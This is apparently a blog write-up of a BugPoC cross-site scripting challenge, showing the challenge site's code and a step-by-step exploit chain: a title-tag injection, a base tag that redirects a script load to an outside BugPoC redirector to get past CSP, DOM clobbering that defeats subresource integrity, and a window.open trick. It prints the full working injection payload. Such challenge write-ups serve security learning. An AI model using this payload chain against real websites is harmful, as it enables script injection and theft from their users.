After the good experience last time, I wanted to participate in BugPoc’s newest Web Security Challenge. This time around it was an XSS Challenge, announced here. This was no easy task as quite a lot of security measures had to be bypassed, but ultimately I was able to succeed and submit a solution.

The website

Let’s start with an overview of the challenge website and what it does. This is what it looks like:

website

You can enter some text, click the button and make it “whacky”. Under the hood it consists of basically 4 files that are of interest of us. The main page index.html, the script for the button functionality scripts.js, an inner iframe frame.html and a final script frame-analytics.js that is loaded inside the inner iframe. I copied the relevant pieces down below (including some HTTP headers), omitting everything that isn’t particularly relevant to the challenge or its solution.

index.html

HTTP/1.1 200 OK
Content-Type: text/html
x-frame-options: SAMEORIGIN
content-security-policy: script-src 'nonce-lvtirqmdlmta' 'strict-dynamic'; frame-src 'self'; object-src 'none';

<!DOCTYPE html>
<html>
	[...]
	<body>
		[...]
			<div class="round-div">
				<span style="opacity:.5">Enter Boring Text:</span>
				<br>
				<textarea id="txt">Hello, World!</textarea>
				<div style="text-align: center;">
					<button id="btn">Make Whacky!</button>
				</div>
				<br>
				<iframe src="frame.html?param=Hello, World!" name="iframe" id="theIframe"></iframe>
			</div>
		</div>
		[...]
		<script src="script.js" nonce="lvtirqmdlmta"></script>
	</body>
</html>

script.js

HTTP/1.1 200 OK
Content-Type: application/javascript
content-security-policy: script-src 'nonce-xszucboylftc' 'strict-dynamic'; frame-src 'self'; object-src 'none';
x-frame-options: SAMEORIGIN

var isChrome = /Chrome/.test(navigator.userAgent) && /Google Inc/.test(navigator.vendor);
if (!isChrome){
    document.body.innerHTML = `
<h1>Website Only Available in Chrome</h1>
<p style="text-align:center"> Please visit <a href="https://www.google.com/chrome/">https://www.google.com/chrome/</a> to download Google Chrome if you would like to visit this website</p>.
`;
}

document.getElementById("txt").onkeyup = function(){
    this.value = this.value.replace(/[&*<>%]/g, '');
};

document.getElementById('btn').onclick = function(){
    val = document.getElementById('txt').value;
    document.getElementById('theIframe').src = '/frame.html?param='+val;
};

frame.html

HTTP/1.1 200 OK
Content-Type: text/html
content-security-policy: script-src 'nonce-okydryslkxpb' 'strict-dynamic'; frame-src 'self'; object-src 'none';
x-frame-options: SAMEORIGIN

<!DOCTYPE html>
<html>
	[...]
	<body>
		<section role="container">
			<div role="main">
				<p class="text" data-action="randomizr">Hello, World!</p>
			</div>
		</section>	
	<script nonce="okydryslkxpb">
		[...] // Making the text 'whacky'
	</script>
        
	<script nonce="okydryslkxpb">
		window.fileIntegrity = window.fileIntegrity || {
			'rfc' : ' https://w3c.github.io/webappsec-subresource-integrity/',
			'algorithm' : 'sha256',
			'value' : 'unzMI6SuiNZmTzoOnV4Y9yqAjtSOgiIgyrKvumYRI6E=',
			'creationtime' : 1602687229
		}
	
		// verify we are in an iframe
		if (window.name == 'iframe') {
			// securely load the frame analytics code
			if (fileIntegrity.value) {
				// create a sandboxed iframe
				analyticsFrame = document.createElement('iframe');
				analyticsFrame.setAttribute('sandbox', 'allow-scripts allow-same-origin');
				analyticsFrame.setAttribute('class', 'invisible');
				document.body.appendChild(analyticsFrame);

				// securely add the analytics code into iframe
				script = document.createElement('script');
				script.setAttribute('src', 'files/analytics/js/frame-analytics.js');
				script.setAttribute('integrity', 'sha256-'+fileIntegrity.value);
				script.setAttribute('crossorigin', 'anonymous');
				analyticsFrame.contentDocument.body.appendChild(script);
			}
		} else {
			document.body.innerHTML = `
			<h1>Error</h1>
			<h2>This page can only be viewed from an iframe.</h2>
			<video width="400" controls>
				<source src="movie.mp4" type="video/mp4">
			</video>`
		}
	</script>
	</body>
</html>

frame-analytics.js

HTTP/1.1 200 OK
Content-Type: application/javascript
content-security-policy: script-src 'nonce-axlwedsovodn' 'strict-dynamic'; frame-src 'self'; object-src 'none';
x-frame-options: SAMEORIGIN

console.log('Frame Analytics Script Securely Loaded');
console.log('User Agent String: ' + navigator.userAgent);
console.log('User Agent Vendor: ' + navigator.vendor);
console.log('User OS: ' + navigator.platform);
console.log('User Language: ' + navigator.language);

Solution Step 1 - Finding an Injection point

The first thing we need to do, is find a point where we can inject something into the website. Since we only have a single parameter we can control (The GET parameter param of the iframe) we have to use that. Inputting anything useful into the text box itself will not work however, as the script is removing all instances of &*<>% when we type something. But since this is a pure client side limitation and only checked on a keyup event we can either use tools like Burp Suite or the Chrome Developer Console (document.getElementById("txt").value = "OURINPUT";) to bypass that limitation. If we try to use a payload like Tyrox<script> we do get an HTTP 400 Error, but URL-encoding does the trick. If we instead use Tyrox%3Cscript%3E%3C%2Fscript%3E as our parameter we notice two things:

  • Down in the body section of the page, our input got properly sanitized and the special characters have been converted to HTML entities, leaving us with Tyrox&lt;script&gt;&lt;/script&gt;
  • In the head section, our input is also being reflected and there is no input sanitization! We can see <title>Tyrox<script></script></title>.

Great! We now have a way to inject HTML into the inner frame. We just need to remember to close the <title> tag first. But if we try to go for the easiest approach and inject something like Tyrox</title><script>alert(origin);</script> we are stopped in our tracks. Within the Chrome Console there is an error stating Refused to execute inline script because it violates the following Content Security Policy directive: "script-src 'nonce-xvcvsewbsrmh' 'strict-dynamic'". Either the 'unsafe-inline' keyword, a hash ('sha256-aErQrfRCGgdInIpMEDCWj2+HQUab648smjdgPAUdBKU='), or a nonce ('nonce-...') is required to enable inline execution..

Solution Step 2 - Bypassing CSP and CORS

Every HTTP response from the server is being served with the content-security-policy header field. You can read more about CSP at Mozilla or at the W3, but I’ll give you a high-level overview. CSP can restrict the sources from which different types of content (scripts, frames, but also images, style sheets and more) are allowed to be loaded. The challenge website forbids object tags completely, frames only from the same location and scripts have to have the correct nonce value or be loaded by an already trusted script (strict-dynamic). The nonce (= “number only used once”) is generated by the server with every request, so guessing it correctly isn’t feasible.

CSP policies can not only be served via HTTP headers, but most of them can also be served as <meta> tags within the head section of a document. So while it is possible for us to inject something like <meta http-equiv="Content-Security-Policy" content="script-src 'unsafe-inline'"> we still run into a problem though: As stated in the W3 Draft, “when multiple policies are present, each must be enforced”. So while our injected policy would allow an also injected script to run, the policy coming from the server would still block it.

If we run the CSP policy through Google’s CSP Evaluator we get informed of a potential problem: Since the base-uri directive is not configured, we can inject a base tag. And since frame.html contains the linescript.setAttribute('src', 'files/analytics/js/frame-analytics.js'); we are able to redirect the loading of said script towards a domain that we control. We could use our own server, or - since this is a BugPoC Challenge - use their resources to our advantage. First step is setting up a Mock Endpoint with the JavaScript and then using the Flexible Redirector, whose URL we will put into the base tag. Since the Redirector will redirect everything in the form http://<foo>.<bar>.XXX.redir.bugpoc.ninja/<baz>/<qux> (source), the added files/analytics/js/frame-analytics.js will not be a problem. We have to pay attention to CORS (Cross-Origin Resource Sharing) though. If the Access-Control-Allow-Origin header is not present in our Mock Endpoint, Chrome will not load our script and instead error out point out that mistake: Access to script at 'https://mock.bugpoc.ninja/[...]' (redirected from 'https://[...].redir.bugpoc.ninja/files/analytics/js/frame-analytics.js') from origin 'https://wacky.buggywebsite.com' has been blocked by CORS policy: No 'Access-Control-Allow-Origin' header is present on the requested resource..

Our Mock Endpoint will look like this:

Headers:

{
	"Access-Control-Allow-Origin": "*",
	"Content-Type": "application/javascript"
}

Body:

console.log("We got code execution");
alert(origin);

Plugging the resulting URL into the Redirector gives me the URL https://tkql9951vf2u.redir.bugpoc.ninja/.

If we take the resulting payload (Tyrox%3C%2Ftitle%3E%3Cbase%20href%3D%22https%3A%2F%2Ftkql9951vf2u%2Eredir%2Ebugpoc%2Eninja%2F) and put that into the text box (again, via the Developer Console) and hit “Go”, we’re facing the next problem: Chrome displays the error Failed to find a valid digest in the 'integrity' attribute for resource 'https://tkql9951vf2u.redir.bugpoc.ninja/files/analytics/js/frame-analytics.js' with computed SHA-256 integrity 'vuzvmvfmQ6obgv1kRjI3GHot+bu8smrAz+P32mQYwPI='. The resource has been blocked..

Solution Step 3 - Bypassing SRI

The code which generates the sandboxed iframe and loads the analytic script sets the integrity attribute with a sha256 hash. Chrome will load our injected script, compute the digest and compare that to the attribute. Since they obviously don’t match, it results in the above error. This behavior is known as Subresource Integrity. Again, you can read more at Mozilla or at W3. Finding a collision attack on sha256 is definitely out of the question for this challenge, so we need to find another way to bypass it.

Let’s look again at the relevant parts of the code:

window.fileIntegrity = window.fileIntegrity || {
	'rfc' : ' https://w3c.github.io/webappsec-subresource-integrity/',
    'algorithm' : 'sha256',
    'value' : 'unzMI6SuiNZmTzoOnV4Y9yqAjtSOgiIgyrKvumYRI6E=',
    'creationtime' : 1602687229
}
	
if (fileIntegrity.value) {
    script = document.createElement('script');
    script.setAttribute('src', 'files/analytics/js/frame-analytics.js');
    script.setAttribute('integrity', 'sha256-'+fileIntegrity.value);
    script.setAttribute('crossorigin', 'anonymous');
    analyticsFrame.contentDocument.body.appendChild(script);
}

We have to somehow get “our” hash into fileIntegrity.value to get our script to load. The way the variable is initialized is vulnerable to DOM Clobbering. Normally when the code reaches the first line window.fileIntegrity will be undefined, therefore the JSON object will be assigned. But by introducing the right tags with the correct attributes, we can set window.fileIntegrity and control its value. I finally settled on <a id="fileIntegrity"></a><a id="fileIntegrity" name="value" href="invalid-hash"></a> following the example from the aforementioned link.

This will work, but it’s actually quite interesting why though and there is a better solution.

Sidestep - DOM Clobbering

Interestingly, the way I chose to implement the DOM Clobbering, doesn’t result in what I thought it would. My idea was to use inject the correct hash (<HASH>) of my script to get it to load. But instead I got an error message similar to the following one: Error parsing 'integrity' attribute ('sha256-https://[...].redir.bugpoc.ninja/<HASH>'). The digest must be a valid, base64-encoded value.. So instead of just using the href attribute, the injected <base> tag also got prepended, resulting in an invalid hash. However, Chrome is behaving rather strangely in this case.

  • If the integrity attribute is a valid (= able to be parsed), but non-matching digest, Chrome will not load the script.
  • If the integrity attribute is non-valid (= not able to be parsed), Chrome will ignore it completely and still load the script.

This is why my solution still works, even if the digest doesn’t match the integrity attribute.

The “cleaner” and better solution would have been to use <input id="fileIntegrity" value="<HASH>"></input> which would have resulted in a clean override of window.fileIntegrity.value. I got that tip from Ben after we had both submitted our solutions and talked about them.

So far, our payload looks like this:

Tyrox</title><a id="fileIntegrity"></a><a id="fileIntegrity" name="value" href="invalid-hash"></a><base href="https://cxtq3894iz85.redir.bugpoc.ninja/">

But injecting it still requires the use of the Chrome Developer Console. This is because of the final security mechanism we need to bypass: Frame Checking.

Solution Step 4 - Bypassing Frame Limitations

We could try to construct a website with an iframe and load frame.html with our payload param to get our code to execute. This will not work, since the server sends the header x-frame-options: SAMEORIGIN, therefore prohibiting us from loading the inner frame in our own site. If we just load the frame.html alone, this line of code will stop us: if (window.name == 'iframe'). The good thing is, that this can be bypassed quite easily. One way is to use the JavaScript function window.open() which will accept two parameters. The first is the URL to load, the second is the name of the opened window aka window.name. We can use that to open a new window with the inner frame together with our payload and get our code to execute.

But we are still one step away from the final solution. If we try to run it right now, we get yet another error from Chrome: Ignored call to 'alert()'. The document is sandboxed, and the 'allow-modals' keyword is not set. As the error states, our code gets loaded inside an iframe with an acitve sandbox attribute (more info from Mozilla). This can be bypassed trivially, by simply changing our alert(origin) to top.alert(origin).

Solution Step 5 - BugPoC

So to recap:

  • We can inject HTML, including a <base> tag to bypass CSP
  • By DOM Clobbering, we can override fileIntegrity.value, causing our script to pass the SRI check
  • If we open a new window, we can set the name of that frame, circumventing the window.name check

Here is my combined solution on BugPoC:

https://bugpoc.com/poc#bp-8ZgB0gXz

Password: FoCaLELEpHANt47

Once again, thank you to BugPoC for this Challenge. I learned some new things and am looking forward to the next one!